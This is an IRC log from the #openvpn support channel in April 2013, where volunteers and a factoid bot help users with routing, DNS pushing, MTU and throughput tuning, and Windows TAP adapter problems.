13:23 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
13:23 <@plaisthos> combsbj: yeah. Which means it supports these but will not have a nice gui editing for them
13:23 <@plaisthos> combsbj: perhaps the message should be less alarming
13:24 < combsbj> yea at a quick glance it sounded like a possible problem..never cool to read "could not parse" :)
13:24 <@plaisthos> lemme change that message ...
13:25 < Lnx1> dazo, I'm getting confused about the networks involved: do you call the LAN the physical LAN where the VPN machine is connected to, and the VPN the virtual subnet with all the clients? if yes, my point is not to have that LAN as the server connects directly to the internet
13:25 <@plaisthos> dazo: and when OpenVPN 3 code is more officilly released than "James gave us a link to a page" I will publish the openvpn 3 core support in my app
13:25 <@dazo> Lnx1: yes, LAN is physical, and I refer to that as a private network behind a firewall
13:26 <@dazo> plaisthos: cool
13:26 <@plaisthos> dazo: All the pieces are already implemented but i am waiting for something more official before publishing such a version to the market ...
13:26 <@dazo> Lnx1: and VPN is the subnet provided to the TAP device which OpenVPN uses
13:26 -!- Rienzilla [rien@sinas.rename-it.nl] has left #openvpn []
13:27 < combsbj> I do like all the other extra connect info though...two thumbs up :)
13:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
13:27 <@dazo> plaisthos: well, I saw the meeting discussion yesterday (sorry, forgot all about the meeting) ... but I don't like that James *still* haven't gotten his finger out and put things into git yet .... I mean, git isn't _that_ difficult to use
13:28 <@dazo> and esp. as OpenVPN 3 is pretty much brand new code, so you start pretty much from scratch
13:28 < Lnx1> dazo, in my setup what is the preferred way of having the private & virtual network? about the firewall, iptables runs on the same machine
13:29 <@dazo> Lnx1: running firewalling (iptables) and OpenVPN on the same box simplifies things a bit ... so go for that
13:34 < combsbj> plaisthos, "override dns settings by server" is not working as I expected. My server pushes 3 dns servers, I select your overide option and input the correct two (two of the three pushed) put it gives error about a max of 4 dhcp dns servers...it still tries to use the three pushed?
13:35 < combsbj> I'm only telling the server to push the two, it's pushing the third on it;s own and I don't want that..maybe there's a server side fix?
13:39  * dazo heads out
13:39 < combsbj> ok, I just removed the server push options and it only pushes the one.  Now the client uses the two overide ones first and the server pushed on elast...that works
13:40 -!- dazo is now known as dazo_afk
13:40 -!- Anon2013 [~Anon2013@109.166.139.201] has joined #openvpn
13:41 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
13:41 -!- mode/#openvpn [+o krzee] by ChanServ
13:42 -!- disaster38 [~ident@lns-c10k03-v-62-35-223-179.dsl.sta.abo.bbox.fr] has joined #openvpn
13:42 < disaster38> hi all
13:42 < Lnx1> dazo, should be bridge interface (which bridges eth and tap) adopt the eth IP configuration (got from the hosting company), leaving the eth unconfigured?
13:42 < disaster38> I have a little problem on my openvpn bridge speed
13:43 < disaster38> I have two pfsense with site to site openvpn bridge
13:43 < disaster38> I have setting my openvpn with shared key and without encryption to test the speed
13:43 < disaster38> with iperf I have 80mb/s
13:44 < disaster38> Without vpn, I have 777mb/s
13:44 < disaster38> The CPU and RAM are not 100% in the two system
13:44 < disaster38> So any idea about that ?
13:44 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit]
13:45 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
13:45 -!- mode/#openvpn [+o krzee] by ChanServ
13:45 < combsbj> is any single core at 100%?
13:49 -!- Lnx1 [~x@93.114.44.253] has quit [Read error: Operation timed out]
13:50 < disaster38> hum you know how i can look that with top ?
13:51 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:53 < combsbj> just press the number "1" button in top
13:59 < disaster38> The max is 75% for one core
13:59 < disaster38> on the 2 pfsense
14:02 -!- _mnathani_ is now known as mnathani
14:03 < combsbj> maybe play with MTU settings?
14:08 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
14:11 < BenLue> Hmmm when i connect with my Client to my VPN Server i bekome the public ip from my VPS. But when i connect with my Smartphone via W-LAN i have the IP from my Home ISP
14:11 < BenLue> I use OpenWRT
14:14 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has joined #openvpn
14:15 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Remote host closed the connection]
14:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:20 < pekster> BenLue: It doesn't work like that. You don't become another IP. You can get an IP from the VPN range, and perhaps even redirect Internet traffic from the client via that new IP. If you add NAT you get a redirection+NAT situation, but that's still not "becoming" another IP
14:20 < pekster> !redirect
14:20 -!- ajolo__ is now known as ajolo
14:20 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:20 <@vpnHelper> http://ircpimps.org/redirect.png
14:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
14:24 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:26 -!- Markz [~Mr_Worldw@109.169.18.13] has joined #openvpn
14:26 < BenLue> pekster i use this Network Model: http://image-upload.de/image/kzYCQ6/374bdd2c63.png
14:26 < disaster38> hum and how i knom the good mtu setting ?
14:27 < Markz> on dns leak test i see no dns from my isp but the google dns is from my "normal" country germany.... proble?
14:28 < pekster> Markz: You've been told before that has nothing to do with openvpn. GoogleDNS is anycast, so you get whatever the closest available routing decision upstream is
14:29 < Markz> ok but on windows i see just the google dns from USA but with the dns leak fix exe ok
14:29 < pekster> "dns leaks" are not an openvpn problem
14:29 < pekster> OpenVPN treats DNS like any other packet. It's not openvpn's business what application traffic you send over the transport
14:29 < Markz> nicht sehr viel besser als english
14:30 < Markz> no woory about the germany in the google dns with an UK ip?
14:30 < combsbj> disaster38, http://www-01.ibm.com/support/docview.wss?uid=swg21086718
14:30 <@vpnHelper> Title: IBM How to ping by packet size to establish Maximum Transmission Unit [MTU] for TCP/IP - United States (at www-01.ibm.com)
14:31 < pekster> !pushdns
14:31 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
14:31 < Markz> ja ich hab google aber deutschland
14:31 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
14:31 < pekster> !provider
14:31 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
14:31 < pekster> !notovpn
14:31 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
14:31 -!- DrZaius [~Grag@ec2-54-236-143-145.compute-1.amazonaws.com] has left #openvpn ["I was never meant to be here anyway"]
14:31 < combsbj> disaster38, just keep pinging with a forced packet size until it fails to know your limit
14:32 < pekster> Plenty of info for you. OpenVPN can't solve application level issues (like what DNS server you configure or how anycast routing works within Google)
14:32 < Markz> good weekend for you guys
14:32 < Markz> bye
14:32 -!- Markz [~Mr_Worldw@109.169.18.13] has quit [Quit: Verlassend]
14:33 < pekster> disaster38: If you're using --auth none and have 75% core usage at 10% of your line speed, you're CPU is no doubt limiting your setup. OpenVPN is single-threaded, so it'll only ever use 1 core
14:38 < disaster38> If I understand you, it's my cpu that limit my speed ?
14:38 < pekster> Probably
14:39 < disaster38> hum, but the core that have max load never more than 75%
14:40 < BenLue> I have some Errors: http://paste.debian.net/250548/ how can i fix this?
14:41 < disaster38> ping -f -l 150 it's my max parameter to have 0% lost packet
14:47 < pekster> BenLue: Not really a problem. Looks like you pushed the same route twice from the server (lines 12+13) and the 2nd one failed
14:47 < pekster> Don't do that and the error goes away
14:51 -!- badserii [~badan@95.65.58.105] has quit [Quit: Leaving]
14:57 -!- and` [~and@debian/developer/and] has quit [Quit: Leaving]
15:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
15:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:17 -!- sickness\ is now known as Sickness\
15:18 < Anon2013> !static
15:18 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
15:18 < Anon2013> !ccd
15:18 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
15:18 < Anon2013> !iporder
15:18 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
15:26 < disaster38> •pekster• I have tried to lauch my client with mtu-test
15:26 < disaster38> With the value return with tun-mtu, now my speed is 82 MB/S
15:27 < disaster38> is better but is not 777 mb/s ;)
15:27 < disaster38> and the CPU is not still 100%
15:27 < pekster> !gigabit
15:27 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
15:27 < pekster> You can clearly see it's not really an openvpn issue, but more CPU and use of a crypto routine that can leverage hardware aceleration
15:28 < combsbj> in a scenario where openvpn is NOT runningon the gateway router, and the gateway router has a static route for the vpn subnet, it should NOT "PUSH_REPLY,route 192.168.1.0" to clinets, correct?
15:31 < combsbj> (vpn subnet being 10.8.0.0/24 and LAN subnet being 192.168.1.0/24)
15:31 < combsbj> it is pushing route 192.168.1.0 and route 10.8.0.1
15:31 < combsbj> that is not right, is it?
15:31 < pekster> combsbj: The server should have a push for that route so that *other* clients can route to it. When you use --iroute properly, it doesn't push that route to the client that owns it
15:32 < pekster> !iroute
15:32 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
15:33 < pekster> See !clientlan for a handy flowchart for client-side LANs
15:33 < combsbj> ok, so one route is so vpn client can talk to lan, the other route is so vpn clients can talk to eachother...?
15:33 < pekster> You push the route so clients get it
15:34 < pekster> So, client2 can get a route pushed that is actually a LAN behind client1
15:34 < pekster> client1 won't get it pushed if it matches an iroute defined on the server for that client CN
15:35 < combsbj> ok
15:35 < pekster> The --iroute description in the manpage notes this behaviour about pushes too
15:35 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
15:35 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Client Quit]
15:37 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
15:41 -!- Anon2013 [~Anon2013@109.166.139.201] has quit [Ping timeout: 245 seconds]
15:42 -!- Anon2013 [~Anon2013@109.166.139.52] has joined #openvpn
15:47 < Anon2013> !firewall
15:47 <@vpnHelper> "firewall" is (#1) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#2) see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets.
15:47 < Anon2013> !windows8
15:48 < Anon2013> Is anyone here running Windows 8 / x86 client ?
15:49 < Anon2013> If so do you have the dreaded "Waiting for the TUN/TAP interface to come up" problem ?
15:51 < combsbj> are you running the client as admin?
15:51 < Anon2013> Yep , even with compatibility .
15:52 < combsbj> (openvpn newb, just guessing)
15:52 < combsbj> srry then
15:52 < Anon2013> It connects when running it for the first time then it goes into nightmare mode and only connects after a lot of attempts .
15:52 <@krzee> !winroute
15:53 <@vpnHelper> "winroute" is (#1) in windows if the route cannot be added, try route-method exe in your config file or (#2) many users also report it helps to add route-delay to give the interface extra time to get up or (#3) you may need to turn off routing and remote acess in administrative tools - routing and remote access or (#4) make sure you are running openvpn as admin or (#5) http://openvpn.net/index.php
15:53 <@vpnHelper> /open-source/faq/79-client/259-tap-win32-adapter-is-not-coming-up-qinitialization-sequence-completed-with-errorsq.html you might also want to see that and use trial and error with those solutions
15:53 < Anon2013> I already set route-delay 30
15:53 <@krzee> ahh thats what i was gunna say
15:53 < Anon2013> When it was at 5 it was even worse
15:55 < pekster> You can play with the --ip-win32 option too
15:55 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
15:55 < Anon2013> The machine is well maintained so I'm guessing that the Norton FW is responsible , however the same firewall didn't cause any problems on a XP machine so I'm kind of stuck.
15:56 < Anon2013> So add ip-win32 to the client config ?
15:56 < pekster> Firewall could very well be messing with it due to OS differences. OpenVPN's dynamic mode fakes a DHCP reply to the driver
15:56 < pekster> See the manpage and try one of the options
15:57 < pekster> See if one of dynamic, netsh, or ipapi plays well
15:57 -!- ptero_ [~ku@37-4-128-169-dynip.superkabel.de] has quit [Read error: Operation timed out]
15:59 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
16:06 -!- Anon2013 [~Anon2013@109.166.139.52] has quit [Ping timeout: 245 seconds]
16:08 -!- Anon2013 [~Anon2013@ns1.mastermindnetworks.org] has joined #openvpn
16:08 < Anon2013> Tried them ipapi failed to connect , manual retains the TUN/TAP problem and but netsh seems to be working after hitting it with the hammer a few times .
16:09 < Anon2013> !cipher
16:11 -!- mvmdata [~Meadows@108-203-29-248.lightspeed.stlsmo.sbcglobal.net] has joined #openvpn
16:11 < mvmdata> hello all, happy friday :)
16:12 < mvmdata> so i'm doing a little research before i walk out the door today and I could use some help with some terminology
16:12 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 260 seconds]
16:12 < mvmdata> i currently run an openvpn server (and failover) on a pair of vmware servers and I love it
16:13 < mvmdata> now one thing that kind of annoys me though is having to connect to it from my office, when i'm traveling I have no problem using openvpn connect...but it can be combersome at the office and I'd like my phone to be able to just have it using wifi because i don't want to root my phone
16:15 < mvmdata> so I came up with the idea of what I think would be an openvpn proxy...i have my office sandbox server connected to the vpn, and i think I can use it as a gateway so the rest of my devices can access the vpn without signing each one in
16:16 < mvmdata> now I highly doubt this is anywhere near an original or unique situation...but I keep barking up the wrong trees when I try to research this because the termonology i use to describe it is either in-accurate or too vague
16:17 < Anon2013> You could probably do that but AFAIK that would defeat the whole purpose of a VPN .
16:17 < Anon2013> I mean it sounds like your packets would be exposed until they reach your office server .
16:17 < mvmdata> well it is just a multi location vpn...still using private network ips and the rest of the world couldn't access it so still vpn
16:18 < pekster> mvmdata: Unless you plan to expose a LAN behind the client, you could just NAT behind a client and do whatever you want there
16:18 < mvmdata> well the office server is connected via vpn
16:18 < pekster> Otherwise if you want bi-directional routing, see !clientlan
16:18 < mvmdata> !clientlan
16:18 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
16:18 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
16:19 < mvmdata> oh yes that is exactly what i'm looking for :)
16:19 < mvmdata> thank you!
16:22 -!- Anon2013 [~Anon2013@ns1.mastermindnetworks.org] has quit [Ping timeout: 256 seconds]
16:24 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
16:25 < combsbj> this may be a question for whoever built openvpn into the router firmware I'm using, but justin case it's more general...There is a config.ovpn on the server that has an auto generated section.  I don't like what is in it, but I can't permantly change just that file becuase it's constantly overwritten.  Anyone know how that file gets generated?
16:34 -!- Lnx1 [~x@cm2-84-90-16-137.netvisao.pt] has joined #openvpn
16:38 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: kernel upgrade, udev upgrade, interface rename, and new initscript. What could possibly go wrong during this reboot?]
16:43 -!- joshie [~josh@joshie.net] has quit [Ping timeout: 272 seconds]
16:52 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
16:55 < pekster> combsbj: Not sure if you got your answer, but the initscript is probably dynamically creating that. Use your OS's method to edit what it does, or design your own launch system using a traditional config file you control
17:05 < rob0> 14 minutes downtime, so Murphy must have been with you! 21:38 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: kernel upgrade, udev upgrade, interface rename, and new initscript. What could possibly go wrong during this reboot?]
17:06 < pekster> Yea, pretty clean. I missed ipset support so iptables blew up on boot, but otherwise it was good
17:06 -!- JSharpe [~JSharpe@ns2306746.ovh.net] has joined #openvpn
17:06 < pekster> iptables-load was unhelpfully failing referencing the "COMMIT" line :(
17:08 < rob0> yes, those errors suck
17:09 < rob0> I'm fanatic about getting everything Netfiltery as a module, even if I don't think I'll ever use it.
17:09 < pekster> It didn't help I built/tested this on a box that I don't use ipset support on ;)
17:11 -!- combsbj_ [~Brandon@74-136-165-178.dhcp.insightbb.com] has joined #openvpn
17:12 -!- Poster|w [poster@gateway/shell/bshellz.net/x-lilwygnrapqhuoyg] has quit [Read error: Operation timed out]
17:13 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has quit [Read error: Operation timed out]
17:13 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
17:14 -!- Poster|w [poster@gateway/shell/bshellz.net/x-xpxkpbvxrjblnaai] has joined #openvpn
17:14 -!- mnice is now known as Guest45378
17:15 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has quit [Ping timeout: 272 seconds]
17:15 -!- joshie [~josh@joshie.net] has joined #openvpn
17:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:47 -!- emmanuel__ [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:48 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 252 seconds]
17:50 -!- folivora [~out@46.19.34.64] has quit [Read error: Operation timed out]
17:55 < combsbj_> can't figure out what I'm missing here...my openvpn server is a standalone router in "router" mode instead of "gateway" mode (ip 192.168.1.2).  I forward port 1194 from the main gateway router (ip 192.168.1.1) to it.  My cclient connects to the wan interface of the gateway router and gets ip 10.8.0.6.  I add static route for 10.8.0.0/24 to go to 192.168.1.2 on the gateway router. My client can talk to other 192.168.1.0/24 hosts, but
17:55 < combsbj_> CANNOT talk to the VPN server (192.168.1.2).  What could be wrong?
17:56 -!- folivora [~out@46.19.34.64] has joined #openvpn
17:57 -!- ajolo__ [~ariel@190.183.222.194] has joined #openvpn
17:57 -!- ajolo [~ariel@190.192.82.41] has quit [Ping timeout: 258 seconds]
17:59 < combsbj_> well, apparently I can ping it and it can ping the vpn client, so they can talk...just not on any other port than ICMP..has to be firewall ugh
18:05 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
18:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:29 -!- Devastator- [~devas@177.18.198.75] has joined #openvpn
18:30 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
18:36 -!- combsbj_ [~Brandon@74-136-165-178.dhcp.insightbb.com] has quit [Read error: Connection reset by peer]
18:37 -!- Lnx1 [~x@cm2-84-90-16-137.netvisao.pt] has quit [Quit: Leaving]
18:37 -!- combsbj_ [~Brandon@74-136-165-178.dhcp.insightbb.com] has joined #openvpn
18:56 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
19:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:05 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
19:06 -!- raidz is now known as raidz_away
19:10 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
19:10 < BenLue> !redirect
19:10 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:10 <@vpnHelper> http://ircpimps.org/redirect.png
19:10 < BenLue> combsbj_
19:13 < combsbj_> yes?
19:13 < combsbj_> oh
19:13 < combsbj_> it was firewall
19:27 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
19:29 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
19:41 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
19:42 -!- Anon2013 [~Anon2013@109.166.142.250] has joined #openvpn
19:43 < Anon2013> !auth
19:43 < Anon2013> !digest
19:53 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
20:01 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Quit: FatDarrel]
20:01 -!- Anon2013 [~Anon2013@109.166.142.250] has quit [Ping timeout: 256 seconds]
20:15 -!- Sickness\ is now known as sickness\
20:16 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
20:17 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
20:29 -!- emmanuel__ [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuel__]
20:29 -!- hazardous [~dbn@void.kassad.in] has quit [Changing host]
20:29 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
20:29 -!- mode/#openvpn [+v hazardous] by ChanServ
20:40 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
20:44 -!- vraa__ [~speed_rac@173.45.222.89] has joined #openvpn
20:46 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 240 seconds]
20:46 -!- vraa__ [~speed_rac@173.45.222.89] has quit [Client Quit]
20:51 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
20:54 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:03 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
21:03 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
21:08 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
21:18 -!- JSharpe_ [~JSharpe@81.17.27.234] has joined #openvpn
21:21 -!- JSharpe [~JSharpe@ns2306746.ovh.net] has quit [Ping timeout: 258 seconds]
21:29 -!- combsbj_ [~Brandon@74-136-165-178.dhcp.insightbb.com] has quit [Ping timeout: 256 seconds]
22:11 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
22:15 -!- Netsplit *.net <-> *.split quits: _quadDamage, Thermi, jave, Martin`, spacedust, Dave2
22:16 -!- Anon2013 [~Anon2013@ns1.mastermindnetworks.org] has joined #openvpn
22:17 < Anon2013> !user
22:17 <@vpnHelper> (user [<channel>] <name>) -- Returns the last time <name> was seen and what <name> was last seen saying. This looks up <name> in the user seen database, which means that it could be any nick recognized as user <name> that was seen. <channel> is only necessary if the message isn't sent in the channel itself.
22:17 < Anon2013> !client
22:17 < Anon2013> !management
22:17 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
22:20 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
22:20 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
22:20 -!- Martin` [martin@shell.octocore.net] has joined #openvpn
22:20 -!- spacedust [~info@unaffiliated/cosmicblue] has joined #openvpn
22:20 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
22:20 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
22:20 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
22:20 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
22:22 -!- master_o1_master [~master_of@p4FF2495B.dip0.t-ipconnect.de] has joined #openvpn
22:25 < Anon2013> Has anyone ever used a manager to control their server ? I'm thinking of trying out bytemanager but i can't see if it can do more then user management .
22:25 -!- master_of_master [~master_of@p4FF24834.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
22:50 -!- Anon2013 [~Anon2013@ns1.mastermindnetworks.org] has quit [Ping timeout: 258 seconds]
23:03 -!- Anon2013 [~Anon2013@server.mastermindnetworks.org] has joined #openvpn
23:07 -!- Anon2013 [~Anon2013@server.mastermindnetworks.org] has quit [Ping timeout: 258 seconds]
23:10 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
23:11 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
23:15 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
23:15 -!- Tster [~test@199.195.142.159] has quit [Quit: Leaving]
23:18 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has joined #openvpn
--- Day changed Sat Apr 20 2013
00:16 -!- vraa__ [~speed_rac@173.45.222.89] has joined #openvpn
00:18 -!- wykydtro- [tassadar@persephone.darkness-reigns.net] has joined #openvpn
00:20 -!- cherwin_ [~cherwin@robin.teqnix.nl] has joined #openvpn
00:20 -!- frank-- [1000@unaffiliated/thumbs] has joined #openvpn
00:22 -!- thumbs [1000@unaffiliated/thumbs] has quit [Disconnected by services]
00:22 -!- frank-- is now known as thumbs
00:25 -!- Netsplit *.net <-> *.split quits: speed_racer8, paccer_, b00gz__, wykydtron, cherwin
00:31 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
00:33 -!- vraa__ [~speed_rac@173.45.222.89] has quit [Ping timeout: 248 seconds]
00:44 -!- Devastator- [~devas@177.18.198.75] has quit [Changing host]
00:44 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
00:44 -!- Devastator- is now known as Devastator
00:48 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
00:48 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:48 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
00:48 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
00:54 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
00:58 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
01:00 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:06 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:11 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:17 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 255 seconds]
01:17 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:23 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:23 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:23 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:00 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has quit [Ping timeout: 264 seconds]
02:02 -!- Devastator- [~devas@177.18.198.75] has joined #openvpn
02:03 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 245 seconds]
02:04 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
02:07 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:10 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
02:12 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:12 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
02:12 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:26 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-uphnluitixhialnp] has joined #openvpn
02:26 -!- paccer_ [uid4847@gateway/web/irccloud.com/x-otxdocgrzhrnwifd] has joined #openvpn
02:36 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
02:44 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:49 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:49 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
02:49 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:51 < jzaw> !ping
02:51 <@vpnHelper> pong
02:51 < jzaw> :)
